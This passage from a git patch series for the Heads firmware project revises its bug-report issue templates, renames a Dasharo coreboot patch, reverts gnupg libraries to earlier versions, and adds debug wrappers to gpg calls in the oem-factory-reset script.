Maximized + - [ ] Non-maximized / legacy + - [ ] I don't know -**5. If Heads was externally flashed, was IFD unlocked?** -- [ ] Yes -- [ ] No -- [ ] Don't know +5. If Heads was externally flashed, was IFD unlocked? + - [ ] Yes + - [ ] No + - [ ] Don't know ### C. Identify the rom related to this bug report -**1. Did you download or build the rom at issue in this bug report?** -- [ ] I downloaded it -- [ ] I built it - -**2. If you downloaded your rom, where did you get it from?** -- [ ] Heads CircleCi -- [ ] Purism -- [ ] Nitrokey -- [ ] Somewhere else (please identify) - -*Please provide the release number or otherwise identify the rom downloaded* - -**3. If you built your rom, which repository:branch did you use?** -- [ ] Heads:Master -- [ ] Other (please identify) - -**4. What version of coreboot did you use in building?** -- [ ] 4.8.1 (current default in heads:master) -- [ ] 4.13 -- [ ] 4.14 -- [ ] 4.15 -- [ ] Other (please specify) -- [ ] I don't know - -**5. In building the rom where did you get the blobs?** -- [ ] No blobs required -- [ ] Provided by the company that installed Heads on the device -- [ ] Extracted from a backup rom taken from this device -- [ ] Extracted from another backup rom taken from another device (please identify the board model) -- [ ] Extracted from the online bios using the automated tools provided in Heads -- [ ] I don't know +1. Did you download or build the rom at issue in this bug report? + - [ ] I downloaded it + - [ ] I built it + +2. If you downloaded your rom, where did you get it from? + - [ ] Heads CircleCi + - [ ] Purism + - [ ] Nitrokey + - [ ] Dasharo DTS (Novacustom) + - [ ] Somewhere else (please identify) + + *Please provide the release number or otherwise identify the rom downloaded* + +3. If you built your rom, which repository:branch did you use? + - [ ] Heads:Master + - [ ] Other (please identify) + +4. What version of coreboot did you use in building? +{ You can find this information from github commit ID or once flashed, by giving the complete version from Sytem Information under Options --> menu} + +5. In building the rom, where did you get the blobs? + - [ ] No blobs required + - [ ] Provided by the company that installed Heads on the device + - [ ] Extracted from a backup rom taken from this device + - [ ] Extracted from another backup rom taken from another device (please identify the board model) + - [ ] Extracted from the online bios using the automated tools provided in Heads + - [ ] I don't know ## Please describe the problem diff --git a/.github/ISSUE_TEMPLATE/bug-report-for-heads-build-errors.md b/.github/ISSUE_TEMPLATE/bug-report-for-heads-build-errors.md index e31aace7e..a857acdfa 100644 --- a/.github/ISSUE_TEMPLATE/bug-report-for-heads-build-errors.md +++ b/.github/ISSUE_TEMPLATE/bug-report-for-heads-build-errors.md @@ -16,11 +16,7 @@ assignees: '' - [ ] Other (please specify) **3. What version of coreboot are you trying to build** -- [ ] 4.13 -- [ ] 4.14 -- [ ] 4.15 -- [ ] 4.17 -- [ ] Other (please specify) +{Please provide github commit ID, or once flashed, the information found under System Information for version} **4. In building the rom where did you get the blobs?** - [ ] No blobs required From 2784128b176aaec33711f14fab2a50de6a77796f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 13 May 2024 21:45:34 -0400 Subject: [PATCH 138/619] Issue template: Version information aimed to be hidden was visible Also fix gPU -> GPU Signed-off-by: Thierry Laurion --- .../bug-report-for-everything-except-build-errors.md | 2 +- .github/ISSUE_TEMPLATE/bug-report-for-heads-build-errors.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/bug-report-for-everything-except-build-errors.md b/.github/ISSUE_TEMPLATE/bug-report-for-everything-except-build-errors.md index f4abe2195..edcb995a9 100644 --- a/.github/ISSUE_TEMPLATE/bug-report-for-everything-except-build-errors.md +++ b/.github/ISSUE_TEMPLATE/bug-report-for-everything-except-build-errors.md @@ -14,7 +14,7 @@ assignees: '' 1. What board are you using? (Choose from the list of boards [here](https://github.com/eganonoa/heads/tree/master/boards)) 2. Does your computer have a dGPU or is it iGPU-only? - - [ ] dGPU (Distinct GPU other then internal gPU) + - [ ] dGPU (Distinct GPU other then internal GPU) - [ ] iGPU-only (Internal GPU, normally Intel GPU) 3. Who installed Heads on this computer? diff --git a/.github/ISSUE_TEMPLATE/bug-report-for-heads-build-errors.md b/.github/ISSUE_TEMPLATE/bug-report-for-heads-build-errors.md index a857acdfa..63d5fb276 100644 --- a/.github/ISSUE_TEMPLATE/bug-report-for-heads-build-errors.md +++ b/.github/ISSUE_TEMPLATE/bug-report-for-heads-build-errors.md @@ -16,7 +16,7 @@ assignees: '' - [ ] Other (please specify) **3. What version of coreboot are you trying to build** -{Please provide github commit ID, or once flashed, the information found under System Information for version} + **4. In building the rom where did you get the blobs?** - [ ] No blobs required From a51a7afefef2eec2e061576ab9f4ad4fc093b9bf Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 14 May 2024 12:09:22 -0400 Subject: [PATCH 139/619] patches/coreboot-dasharo-unreleased : keep track of patches per upsream dasharo+heads unreleased patches to apply on top of last release PR numbers being numerical and hopefully not conflicting with each other, keeping track of commits per their upstream PR should make sure they can be applied cleanly on top of each other as opposed to commit id related patches that git apply will apply in random order. Signed-off-by: Thierry Laurion --- ...5dc4a4f25497acfbe159d6abd057d885661a02.patch => 501.patch} | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) rename patches/coreboot-dasharo-unreleased/{b35dc4a4f25497acfbe159d6abd057d885661a02.patch => 501.patch} (89%) diff --git a/patches/coreboot-dasharo-unreleased/b35dc4a4f25497acfbe159d6abd057d885661a02.patch b/patches/coreboot-dasharo-unreleased/501.patch similarity index 89% rename from patches/coreboot-dasharo-unreleased/b35dc4a4f25497acfbe159d6abd057d885661a02.patch rename to patches/coreboot-dasharo-unreleased/501.patch index ce2c009b2..6f626ae32 100644 --- a/patches/coreboot-dasharo-unreleased/b35dc4a4f25497acfbe159d6abd057d885661a02.patch +++ b/patches/coreboot-dasharo-unreleased/501.patch @@ -1,4 +1,4 @@ -From b35dc4a4f25497acfbe159d6abd057d885661a02 Mon Sep 17 00:00:00 2001 +From 6cd77aa95a7ab46771874b72c7dba6b3600d9b29 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= Date: Mon, 13 May 2024 09:31:27 +0200 Subject: [PATCH] src/mainboard/clevo/adl-p/Kconfig: Add missing TPM PIRQ for @@ -13,7 +13,7 @@ Signed-off-by: Michał Żygowski 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/mainboard/clevo/adl-p/Kconfig b/src/mainboard/clevo/adl-p/Kconfig -index c091584ac7d..462cb7135b3 100644 +index 6e4b679d4d1..e9bcf53c7be 100644 --- a/src/mainboard/clevo/adl-p/Kconfig +++ b/src/mainboard/clevo/adl-p/Kconfig @@ -115,7 +115,7 @@ config FMDFILE From 37f04e28556f7ec89ab10eabbfaf3a4820c30a62 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 14 May 2024 12:44:11 -0400 Subject: [PATCH 140/619] Fix key to card failing with invalid time when moving keys to smartcard on master (Opt: Authenticated Heads) - Revert gnupg toolstack version bump to prior of #1661 merge (2.4.2 -> 2.4.0). Version bump not needed for reproducibility. - Investigation and upstream discussions will take their time resolving invalid time issue introduced by between 2.4.0 and latest gnupg, fix regression first under master) - oem-factory-reset - Adding DO_WITH_DEBUG to oem-factory-reset for all its gpg calls. If failing in debug mode, /tmp/debug.txt contains calls and errors - Wipe keyrings only (*.gpg, *.kbx) not conf files under gpg homedir (keep initrd/.gnupg/*.conf) - flake.nix - switch build derivative from qemu and qemu_kvm to qemu_full to have qemu-img tool which was missing to run qemu boards (v0.1.8 docker) - add gnupg so that qemu boards can call inject_gpg to inject public key in absence of flashrom+pflash support for internal flashing - flake.lock: Updated nix pinned package list under flake.lock with 'nix flake update' so qemu_full builds - README.md: have consistent docker testing + release (push) notes - .circleci/config.yml: depend on docker v0.1.8 (qemu_full built with canokey-qemu lib support, diffoscopeMinimal and gnupg for proper qemu testing) TODO: - some fd2 instead of fd1?! - oem-factory-resest has whiptail_or_die which sets whiptail box to HEIGHT 0. This doesn't show a scrolling window on gpg errors which is problematic with fbwhiptail, not whiptail Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 +-- README.md | 4 ++ flake.lock | 6 +- flake.nix | 8 ++- initrd/bin/oem-factory-reset | 60 +++++++------------ modules/gpg2 | 4 +- modules/libassuan | 6 +- modules/libgcrypt | 6 +- modules/libgpg-error | 4 +- modules/libksba | 6 +- patches/gpg2-2.2.10.patch | 27 --------- .../{gpg2-2.4.2.patch => gpg2-2.4.0.patch} | 0 ...suan-2.5.6.patch => libassuan-2.5.5.patch} | 0 ...suan-2.5.1.patch => libgcrypt-1.8.3.patch} | 42 ++++++------- ...ror-1.47.patch => libgpg-error-1.46.patch} | 0 ...ibksba-1.6.4.patch => libksba-1.6.3.patch} | 0 16 files changed, 73 insertions(+), 108 deletions(-) delete mode 100644 patches/gpg2-2.2.10.patch rename patches/{gpg2-2.4.2.patch => gpg2-2.4.0.patch} (100%) rename patches/{libassuan-2.5.6.patch => libassuan-2.5.5.patch} (100%) rename patches/{libassuan-2.5.1.patch => libgcrypt-1.8.3.patch} (89%) rename patches/{libgpg-error-1.47.patch => libgpg-error-1.46.patch} (100%) rename patches/{libksba-1.6.4.patch => libksba-1.6.3.patch} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 2ff6ed117..089d63cfb 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.1.6 + - image: tlaurion/heads-dev-env:v0.1.8 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.1.6 + - image: tlaurion/heads-dev-env:v0.1.8 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.1.6 + - image: tlaurion/heads-dev-env:v0.1.8 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.1.6 + - image: tlaurion/heads-dev-env:v0.1.8 resource_class: large working_directory: ~/heads steps: diff --git a/README.md b/README.md index dbc082988..b7e9214d0 100644 --- a/README.md +++ b/README.md @@ -97,6 +97,10 @@ Maintenance notes on docker image Redo the steps above in case the flake.nix or nix.lock changes. Then publish on docker hub: ``` +docker tag linuxboot/heads:dev-env tlaurion/heads-dev-env:vx.y.z +docker push tlaurion/heads-dev-env:vx.y.z +#test against CircleCI in PR. Merge. +#make last version the latest docker tag tlaurion/heads-dev-env:vx.y.z tlaurion/heads-dev-env:latest docker push tlaurion/heads-dev-env:latest ``` diff --git a/flake.lock b/flake.lock index 491e53f71..0b2278f08 100644 --- a/flake.lock +++ b/flake.lock @@ -20,11 +20,11 @@ }, "nixpkgs": { "locked": { - "lastModified": 1711703276, - "narHash": "sha256-iMUFArF0WCatKK6RzfUJknjem0H9m4KgorO/p3Dopkk=", + "lastModified": 1715534503, + "narHash": "sha256-5ZSVkFadZbFP1THataCaSf0JH2cAH3S29hU9rrxTEqk=", "owner": "nixos", "repo": "nixpkgs", - "rev": "d8fe5e6c92d0d190646fb9f1056741a229980089", + "rev": "2057814051972fa1453ddfb0d98badbea9b83c06", "type": "github" }, "original": { diff --git a/flake.nix b/flake.nix index 87683c33c..a9ce9b359 100644 --- a/flake.nix +++ b/flake.nix @@ -75,14 +75,16 @@ canokeySupport = true; # This override enables Canokey support in QEMU, resulting in -device canokey being available. }) # Packages for qemu support with Canokey integration from previous override - #qemu_full #Heavier but contains qemu-img, kvm and everything else needed to do development cycles under docker - qemu # To test make BOARD=qemu-coreboot-* boards and then call make BOARD=qemu-coreboot-* with inject_gpg statement, and then run statement. - qemu_kvm # kvm additional support for qemu without all the qemu-img and everything else under qemu_full + qemu_full #Heavier but contains qemu-img, kvm and everything else needed to do development cycles under docker + #qemu # To test make BOARD=qemu-coreboot-* boards and then call make BOARD=qemu-coreboot-* with inject_gpg statement, and then run statement. + #qemu_kvm # kvm additional support for qemu without all the qemu-img and everything else under qemu_full ] ++ [ # Additional tools for debugging/editing/testing. vim # Mostly used amongst us, sorry if you'd like something else, open issue. swtpm # QEMU requirement to emulate tpm1/tpm2. dosfstools # QEMU requirement to produce valid fs to store exported public key to be fused through inject_key on qemu (so qemu flashrom emulated SPI support). + diffoscopeMinimal # Not sure exactly what is packed here, let's try. + gnupg #to inject public key inside of qemu create rom through inject_gpg target of targets/qemu.mk TODO: remove when pflash supported by flashrom #diffoscope #should we include it? Massive:11 GB uncompressed. Wow?!?! ] ++ [ # Tools for handling binary blobs in their compressed state. (blobs/xx30/vbios_[tw]530.sh) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 027480219..72d69ae88 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -38,8 +38,9 @@ MAX_HOTP_GPG_PIN_LENGTH=25 CUSTOM_PASS_AFFECTED_COMPONENTS="" # Default GPG Algorithm is RSA +# p256 also supported (TODO: nk3 supports RSA 4096 in secure element in firmare v1.7.1. Switch!? GPG_ALGO="RSA" -# Default RSA key length +# Default RSA key length is 3072 bits for OEM key gen. 4096 are way longer to generate in smartcard RSA_KEY_LENGTH=3072 GPG_USER_NAME="OEM Key" @@ -85,12 +86,11 @@ mount_boot() { fi } -#Generate a gpg master key: no expiration date, RSA 4096 bits +#Generate a gpg master key: no expiration date, ${RSA_KEY_LENGTH} bits #This key will be used to sign 3 subkeys: encryption, authentication and signing #The master key and subkeys will be copied to backup, and the subkeys moved from memory keyring to the smartcard generate_inmemory_RSA_master_and_subkeys() { TRACE_FUNC - echo "Generating GPG key material in memory:" echo "Generating GPG RSA ${RSA_KEY_LENGTH} bits master key..." # Generate GPG master key @@ -104,7 +104,7 @@ generate_inmemory_RSA_master_and_subkeys() { echo "Expire-Date: 0" # No expiration date echo "Passphrase: ${ADMIN_PIN}" # Admin PIN echo "%commit" # Commit changes - } | gpg --command-fd=0 --status-fd=1 --batch --gen-key >/tmp/gpg_card_edit_output 2>&1 + } | DO_WITH_DEBUG gpg --expert --batch --command-fd=0 --status-fd=1 --pinentry-mode=loopback --generate-key >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) whiptail_error_die "GPG Key generation failed!\n\n$ERROR" @@ -120,7 +120,7 @@ generate_inmemory_RSA_master_and_subkeys() { echo ${ADMIN_PIN} # Local keyring admin pin echo y # confirm echo save # save changes and commit to keyring - } | gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) @@ -137,7 +137,7 @@ generate_inmemory_RSA_master_and_subkeys() { echo ${ADMIN_PIN} # Local keyring admin pin echo y # confirm echo save # save changes and commit to keyring - } | gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) @@ -161,26 +161,12 @@ generate_inmemory_RSA_master_and_subkeys() { echo ${ADMIN_PIN} # Local keyring admin pin echo y # confirm echo save # save changes and commit to keyring - } | gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --expert --edit-key "${GPG_USER_MAIL}" \ + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --expert --edit-key "${GPG_USER_MAIL}" \ >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) whiptail_error_die "GPG Key authentication subkey generation failed!\n\n$ERROR" fi - - DEBUG "Setting public key to ultimate trust..." - #Set the public key to the ultimate trust - { - echo trust # trust key in --edit-key mode - echo 5 # ultimate trust - echo y # confirm - echo save # save changes and commit to keyring - } | gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ - >/tmp/gpg_card_edit_output 2>&1 - if [ $? -ne 0 ]; then - ERROR=$(cat /tmp/gpg_card_edit_output) - whiptail_error_die "GPG Key setting public key to ultimate trust failed!\n\n$ERROR" - fi } #Generate a gpg master key: no expiration date, p256 key (ECC) @@ -200,7 +186,7 @@ generate_inmemory_p256_master_and_subkeys() { echo "Passphrase: ${ADMIN_PIN}" # Local keyring admin pin echo "Expire-Date: 0" # No expiration date echo "%commit" # Commit changes - } | gpg --expert --batch --command-fd=0 --status-fd=1 --pinentry-mode=loopback --generate-key \ + } | DO_WITH_DEBUG gpg --expert --batch --command-fd=0 --status-fd=1 --pinentry-mode=loopback --generate-key \ >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) @@ -216,10 +202,10 @@ generate_inmemory_p256_master_and_subkeys() { echo 11 # ECC own set capability echo Q # sign already present, do not modify echo 3 # P-256 - echo 0 # no expiration + echo 0 # No validity/expiration date echo ${ADMIN_PIN} # Local keyring admin pin echo save # save changes and commit to keyring - } | gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key ${MASTER_KEY_FP} >/tmp/gpg_card_edit_output 2>&1 + } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key ${MASTER_KEY_FP} >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR_MSG=$(cat /tmp/gpg_card_edit_output) whiptail_error_die "Failed to add ECC nistp256 signing key to master key\n\n${ERROR_MSG}" @@ -231,10 +217,10 @@ generate_inmemory_p256_master_and_subkeys() { echo 12 # ECC own set capability echo Q # Quit echo 3 # P-256 - echo 0 # no expiration + echo 0 # No validity/expiration date echo ${ADMIN_PIN} # Local keyring admin pin echo save # save changes and commit to keyring - } | gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key ${MASTER_KEY_FP} >/tmp/gpg_card_edit_output 2>&1 + } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key ${MASTER_KEY_FP} >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR_MSG=$(cat /tmp/gpg_card_edit_output) whiptail_error_die "Failed to add ECC nistp256 encryption key to master key\n\n${ERROR_MSG}" @@ -251,7 +237,7 @@ generate_inmemory_p256_master_and_subkeys() { echo 0 # no expiration echo ${ADMIN_PIN} # Local keyring admin pin echo save # save changes and commit to keyring - } | gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key ${MASTER_KEY_FP} >/tmp/gpg_card_edit_output 2>&1 + } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key ${MASTER_KEY_FP} >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR_MSG=$(cat /tmp/gpg_card_edit_output) whiptail_error_die "Failed to add ECC nistp256 authentication key to master key\n\n${ERROR_MSG}" @@ -297,7 +283,7 @@ keytocard_subkeys_to_smartcard() { echo "${ADMIN_PIN_DEF}" #Smartcard Admin PIN echo "key 3" #Toggle off Authentication key echo "save" #Save changes and commit to keyring - } | gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ + } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --edit-key "${GPG_USER_MAIL}" \ >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) @@ -488,7 +474,7 @@ gpg_key_factory_reset() { echo factory-reset # factory reset smartcard echo y # confirm echo yes # confirm - } | gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) @@ -508,7 +494,7 @@ gpg_key_factory_reset() { echo admin # admin menu echo forcesig # toggle forcesig echo ${ADMIN_PIN_DEF} # local keyring PIN - } | gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) @@ -529,7 +515,7 @@ gpg_key_factory_reset() { echo 2 # ECC echo 3 # P-256 echo ${ADMIN_PIN_DEF} # local keyring PIN - } | gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ + } | DO_WITH_DEBUG gpg --expert --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) @@ -551,7 +537,7 @@ gpg_key_factory_reset() { echo 1 # RSA echo ${RSA_KEY_LENGTH} #Authentication key size set to RSA_KEY_LENGTH echo ${ADMIN_PIN_DEF} #Local keyring PIN - } | gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=1 --pinentry-mode=loopback --card-edit \ >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) @@ -581,7 +567,7 @@ generate_OEM_gpg_keys() { echo ${GPG_USER_MAIL} # User email echo ${GPG_USER_COMMENT} # User comment echo ${USER_PIN_DEF} # Default user PIN since we just factory reset - } | gpg --command-fd=0 --status-fd=2 --pinentry-mode=loopback --card-edit \ + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=2 --pinentry-mode=loopback --card-edit \ >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output) @@ -608,7 +594,7 @@ gpg_key_change_pin() { echo ${PIN_NEW} # confirm new PIN echo q # quit echo q - } | gpg --command-fd=0 --status-fd=2 --pinentry-mode=loopback --card-edit \ + } | DO_WITH_DEBUG gpg --command-fd=0 --status-fd=2 --pinentry-mode=loopback --card-edit \ >/tmp/gpg_card_edit_output 2>&1 if [ $? -ne 0 ]; then ERROR=$(cat /tmp/gpg_card_edit_output | fold -s) @@ -686,7 +672,7 @@ generate_checksums() { fi DEBUG "Detach-signing boot files under kexec.sig: ${param_files}" - if sha256sum $param_files 2>/dev/null | gpg \ + if sha256sum $param_files 2>/dev/null | DO_WITH_DEBUG gpg \ --pinentry-mode loopback \ --passphrase "${USER_PIN}" \ --digest-algo SHA256 \ @@ -1142,7 +1128,7 @@ assert_signable # clear gpg-agent cache so that next gpg calls doesn't have past keyring in memory killall gpg-agent >/dev/null 2>&1 || true # clear local keyring -rm -rf /.gnupg/* >/dev/null 2>&1 || true +rm -rf /.gnupg/*.kbx /.gnupg/*.gpg >/dev/null 2>&1 || true # detect and set /boot device echo -e "\nDetecting and setting boot device...\n" @@ -1242,7 +1228,7 @@ if [ "$GPG_EXPORT" != "0" ]; then fi # ensure key imported locally -if ! cat "$PUBKEY" | gpg --import >/dev/null 2>/tmp/error; then +if ! cat "$PUBKEY" | DO_WITH_DEBUG gpg --import >/dev/null 2>/tmp/error; then ERROR=$(tail -n 1 /tmp/error | fold -s) whiptail_error_die "Error importing GPG key:\n\n$ERROR" fi diff --git a/modules/gpg2 b/modules/gpg2 index fe340c4ff..b121febc8 100644 --- a/modules/gpg2 +++ b/modules/gpg2 @@ -1,10 +1,10 @@ modules-$(CONFIG_GPG2) += gpg2 -gpg2_version := 2.4.2 +gpg2_version := 2.4.0 gpg2_dir := gnupg-$(gpg2_version) gpg2_tar := gnupg-$(gpg2_version).tar.bz2 gpg2_url := https://www.gnupg.org/ftp/gcrypt/gnupg/$(gpg2_tar) -gpg2_hash := 97eb47df8ae5a3ff744f868005a090da5ab45cb48ee9836dbf5ee739a4e5cf49 +gpg2_hash := 1d79158dd01d992431dd2e3facb89fdac97127f89784ea2cb610c600fb0c1483 gpg2_depends := libgpg-error libgcrypt libksba libassuan npth libusb $(musl_dep) # For reproducibility reasons we have to override the exec_prefix diff --git a/modules/libassuan b/modules/libassuan index 7143534d1..e641854f5 100644 --- a/modules/libassuan +++ b/modules/libassuan @@ -1,10 +1,10 @@ modules-$(CONFIG_GPG2) += libassuan -libassuan_version := 2.5.6 +libassuan_version := 2.5.5 libassuan_dir := libassuan-$(libassuan_version) libassuan_tar := libassuan-$(libassuan_version).tar.bz2 libassuan_url := https://gnupg.org/ftp/gcrypt/libassuan/$(libassuan_tar) -libassuan_hash := e9fd27218d5394904e4e39788f9b1742711c3e6b41689a31aa3380bd5aa4f426 +libassuan_hash := 8e8c2fcc982f9ca67dcbb1d95e2dc746b1739a4668bc20b3a3c5be632edb34e4 libassuan_configure := \ CFLAGS="-Os" \ @@ -14,7 +14,7 @@ libassuan_configure := \ --prefix "/" \ --disable-doc \ --disable-static \ - --with-libgpg-error-prefix="$(INSTALL)" \ + --with-gpg-error-prefix="$(INSTALL)" \ libassuan_target := $(MAKE_JOBS) \ DESTDIR="$(INSTALL)" \ diff --git a/modules/libgcrypt b/modules/libgcrypt index 2b630c02d..a3ece058b 100644 --- a/modules/libgcrypt +++ b/modules/libgcrypt @@ -1,10 +1,10 @@ modules-$(CONFIG_GPG2) += libgcrypt -libgcrypt_version := 1.10.2 +libgcrypt_version := 1.10.1 libgcrypt_dir := libgcrypt-$(libgcrypt_version) libgcrypt_tar := libgcrypt-$(libgcrypt_version).tar.bz2 libgcrypt_url := https://gnupg.org/ftp/gcrypt/libgcrypt/$(libgcrypt_tar) -libgcrypt_hash := 3b9c02a004b68c256add99701de00b383accccf37177e0d6c58289664cce0c03 +libgcrypt_hash := ef14ae546b0084cd84259f61a55e07a38c3b53afc0f546bffcef2f01baffe9de libgcrypt_configure := \ $(CROSS_TOOLS) \ @@ -14,7 +14,7 @@ libgcrypt_configure := \ --prefix "/" \ --disable-doc \ --disable-static \ - --with-libgpg-error-prefix="$(INSTALL)" \ + --with-gpg-error-prefix="$(INSTALL)" \ libgcrypt_target := $(MAKE_JOBS) \ DESTDIR="$(INSTALL)" \ diff --git a/modules/libgpg-error b/modules/libgpg-error index b24c9f74f..0c8553560 100644 --- a/modules/libgpg-error +++ b/modules/libgpg-error @@ -1,10 +1,10 @@ modules-$(CONFIG_GPG2) += libgpg-error -libgpg-error_version := 1.47 +libgpg-error_version := 1.46 libgpg-error_dir := libgpg-error-$(libgpg-error_version) libgpg-error_tar := libgpg-error-$(libgpg-error_version).tar.bz2 libgpg-error_url := https://gnupg.org/ftp/gcrypt/libgpg-error/$(libgpg-error_tar) -libgpg-error_hash := 9e3c670966b96ecc746c28c2c419541e3bcb787d1a73930f5e5f5e1bcbbb9bdb +libgpg-error_hash := b7e11a64246bbe5ef37748de43b245abd72cfcd53c9ae5e7fc5ca59f1c81268d libgpg-error_configure := \ $(CROSS_TOOLS) \ diff --git a/modules/libksba b/modules/libksba index 99c226788..7230237a7 100644 --- a/modules/libksba +++ b/modules/libksba @@ -1,10 +1,10 @@ modules-$(CONFIG_GPG2) += libksba -libksba_version := 1.6.4 +libksba_version := 1.6.3 libksba_dir := libksba-$(libksba_version) libksba_tar := libksba-$(libksba_version).tar.bz2 libksba_url := https://gnupg.org/ftp/gcrypt/libksba/$(libksba_tar) -libksba_hash := bbb43f032b9164d86c781ffe42213a83bf4f2fee91455edfa4654521b8b03b6b +libksba_hash := 3f72c68db30971ebbf14367527719423f0a4d5f8103fc9f4a1c01a9fa440de5c libksba_configure := \ $(CROSS_TOOLS) \ @@ -13,7 +13,7 @@ libksba_configure := \ --host $(MUSL_ARCH)-linux-musl \ --prefix "/" \ --disable-static \ - --with-libgpg-error-prefix="$(INSTALL)" \ + --with-gpg-error-prefix="$(INSTALL)" \ libksba_target := $(MAKE_JOBS) \ DESTDIR="$(INSTALL)" \ diff --git a/patches/gpg2-2.2.10.patch b/patches/gpg2-2.2.10.patch deleted file mode 100644 index ed940b1b3..000000000 --- a/patches/gpg2-2.2.10.patch +++ /dev/null @@ -1,27 +0,0 @@ -diff -u --recursive /home/tlaurion/build/clean/gnupg-2.2.10/configure gnupg-2.2.10/configure ---- /home/tlaurion/build/clean/gnupg-2.2.10/configure 2016-08-17 09:20:25.000000000 -0400 -+++ gnupg-2.2.10/configure 2018-01-20 16:55:14.502067084 -0500 -@@ -572,7 +572,7 @@ - ac_clean_files= - ac_config_libobj_dir=. - LIBOBJS= --cross_compiling=no -+cross_compiling=yes - subdirs= - MFLAGS= - MAKEFLAGS= -diff -u --recursive gnupg-2.2.10/common/ttyio.c gnupg-2.2.10/common/ttyio.c.mod ---- gnupg-2.2.10/common/ttyio.c 2017-08-28 06:22:54.000000000 -0400 -+++ gnupg-2.2.10/common/ttyio.c.mod 2018-09-18 23:00:07.386250017 -0400 -@@ -190,7 +190,9 @@ - #elif defined (HAVE_W32CE_SYSTEM) - ttyfp = stderr; - #else -- ttyfp = batchmode? stderr : fopen (tty_get_ttyname (), "r+"); -+ //ttyfp = batchmode? stderr : fopen( tty_get_ttyname (), "r+"); -+ ttyfp = stderr; -+ - if( !ttyfp ) { - log_error("cannot open '%s': %s\n", tty_get_ttyname (), - strerror(errno) ); - diff --git a/patches/gpg2-2.4.2.patch b/patches/gpg2-2.4.0.patch similarity index 100% rename from patches/gpg2-2.4.2.patch rename to patches/gpg2-2.4.0.patch diff --git a/patches/libassuan-2.5.6.patch 